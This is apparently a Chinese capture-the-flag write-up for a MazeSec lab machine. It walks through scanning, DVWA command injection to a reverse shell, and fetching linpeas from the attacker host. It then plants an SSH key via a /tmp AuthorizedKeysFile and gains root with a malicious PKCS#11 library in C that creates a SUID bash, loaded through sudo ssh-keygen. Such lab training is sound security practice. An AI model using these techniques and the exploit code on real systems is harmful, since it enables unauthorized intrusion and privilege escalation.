目录

MazeSec Secure

# 存活主机发现

arp-scan 扫描局域网内存活主机:

┌──(npc㉿kali)-[~/mazesec/secure]
└─$ sudo arp-scan -I eth2 192.168.6.0/24

192.168.6.203   08:00:27:16:0b:23       PCS Systemtechnik GmbH
1
2
3
4

目标主机:192.168.6.203

# TCP端口扫描

使用 nmap 进行 TCP 端口扫描:

┌──(npc㉿kali)-[~/mazesec/secure]
└─$ nmap -p- -sT 192.168.6.203

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
1
2
3
4
5
6

目标主机开放了 22 和 80 端口。

# 80 端口服务探测

访问 80 端口的 HTTP 服务,一个 SSH 介绍页面

dirsearch 扫描目录,部署了一个 DVWA 漏洞靶场,以及file.php 和 phpinfo.php 文件:

┌──(npc㉿kali)-[~/mazesec/secure]
└─$ dirsearch -u http://192.168.6.203

Target: http://192.168.6.203/

[14:44:31] Starting: 
[14:44:45] 302 -    0B  - /dvwa/  ->  login.php
[14:44:46] 200 -    7B  - /file.php
[14:44:53] 200 -   23KB - /phpinfo.php

Task Completed
1
2
3
4
5
6
7
8
9
10
11

gobuster 再扫一遍,尽可能多的收集信息:

┌──(npc㉿kali)-[~/mazesec/secure]
└─$ gobuster dir -u http://192.168.6.203/ \
 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,log,bak,zip

/index.html           (Status: 200) [Size: 11007]
/file.php             (Status: 200) [Size: 7]
/cmd.php              (Status: 200) [Size: 18]
/phpinfo.php         (Status: 200) [Size: 23479]
1
2
3
4
5
6
7
8

通过扫描目录,发现了 cmd.php 、file.php 、phpinfo.php 以及 DVWA 靶场,在 cmd.php 和 file.php 测试参数没有发现可以利用的可能,现在直接去 DVWA 靶机登录页面,默认用户名密码 admin/password 登录进去。

# 命令执行 Getshell

难度设置为 low ,方便直接利用

进入命令执行模块,反弹个shell 过来

稳定优化 shell

/usr/bin/script  -qc /bin/bash /dev/null
按下 ctrl z
stty raw -echo; fg  
export TERM=xterm  
export SHELL=/bin/bash  
1
2
3
4
5

# 横向探测

现在拿到了 www-data 权限的 shell ,下载 kali 上准备的 linpeas.sh 脚本到 /tmp 目录,扫描是否有提权点

wget 192.168.6.101/linpeas.sh -O /tmp/linpeas.sh
1

linpeas 扫描可能会卡在 cloud 模块,不清楚什么原因,使用 -o 参数跳过 cloud 模块就可以了,另外可以使用 -a 参数进行全面扫描,会尝试使用 su 命令登录其他用户,这个过程会使用空密码、用户名、top 2000 密码进行尝试。

bash linpeas.sh -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex -a
1

拿到了 lzh 用户的密码 hzl

# SSH 配置变动发现

查找近 7 天变化的文件,排除一些系统目录,减少噪音

说明:前一组括号是排除大目录,后一组括号是「最近 7 天内 mtime 或 ctime 变化的文件」,再 -print。

find / \
  \( -path /run -o -path /sys -o -path /proc -o -path /var/lib -o -path /dev -o -path /usr -o -path /var/log -o -path /var/cache -o -path /boot/grub \) -prune -o \
  \( -mtime -7 -o -ctime -7 \) -print 2>/dev/null
1
2
3

检查到 ssh 配置文件存在变动,查看一下

cat /etc/ssh/sshd_config
1

关键部分如下:

PermitRootLogin no
AuthorizedKeysFile      /tmp/authorized_keys2
StrictModes no
1
2
3

不允许 root 登录,把公钥配置在了 /tmp/authorized_keys2 文件中,并且关闭了权限检查。

AuthorizedKeysFile /tmp/authorized_keys2 是一个全局配置,对所有用户生效;

因为 PermitRootLogin no,即使有公钥,也不能通过 SSH 登录 root;

# 横向登录 one3

在 www-data 用户的 shell 里,在 /tmp 目录下创建 authorized_keys2 文件,写入自己的公钥

echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGqeBIA2vgVTkcqaBMVe7c7PL6S/FP+32ilrc8iUiVYc ssh-ed25519-2025120116260' > /tmp/authorized_keys2
1

写入以后,kali 用户无法 SSH 连上来,排查发现当前的 /tmp 是 apache 服务的 PrivateTmp 目录,并非系统的 /tmp 目录

systemctl show apache2 | grep PrivateTmp
systemctl show ssh | grep PrivateTmp
1
2

先尝试上线刚刚扫描出来的 lzh 用户,可以看 /tmp 目录下确实没有 www-data 用户创建的文件如linepeas.sh 和 authorized_keys2

使用 lzh 用户写入公钥,普通用户操作 /tmp 目录是没有问题的

echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGqeBIA2vgVTkcqaBMVe7c7PL6S/FP+32ilrc8iUiVYc ssh-ed25519-2025120116260' > /tmp/authorized_keys2
1

# SSH 登录 one3 用户

Kali 上线 one3 用户,sudo -l 显示 one3 用户可以以 root 身份、无需密码执行 /usr/bin/ssh-keygen

Gtfobins 上查到 ssh-keygen 可以用来提权 https://gtfobins.github.io/gtfobins/ssh-keygen/ (opens new window)

sudo ssh-keygen -D /tmp/lib.so
1

# 编写恶意 PKCS#11 库

ssh-keygen 使用 -D 参数指定一个 PKCS#11 动态库,我们编写一个恶意的 PKCS#11 库,在库加载时执行提权操作,复制一个 SUID bash 到 /tmp 目录下。

准备 exp.c 文件

// exp.c
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// PKCS#11 标准函数声明
typedef struct CK_FUNCTION_LIST CK_FUNCTION_LIST;

// 恶意代码 - 在库加载时执行
__attribute__((constructor)) void pwn() {
    if (geteuid() == 0) {  // 如果以root权限运行
        system("cp /bin/bash /tmp/bash");
        system("chmod u+s /tmp/bash");
    }
}

// 伪装的PKCS#11函数 - 必须存在但可以返回错误
void C_GetFunctionList(CK_FUNCTION_LIST** ppFunctionList) {
    // 什么都不做或返回错误,但函数必须存在
    *ppFunctionList = NULL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

编译生成动态库 lib.so

gcc -shared -fPIC -o /tmp/lib.so /tmp/exp.c
1

运行时,动态库会被 ssh-keygen 加载,执行 pwn 函数,复制 SUID bash 到 /tmp 目录下。

# 提权到 root

sudo 执行 ssh-keygen,指定编译好的恶意库

sudo ssh-keygen -D /tmp/lib.so
1

最后一次更新于: 2025/12/02, 21:54:32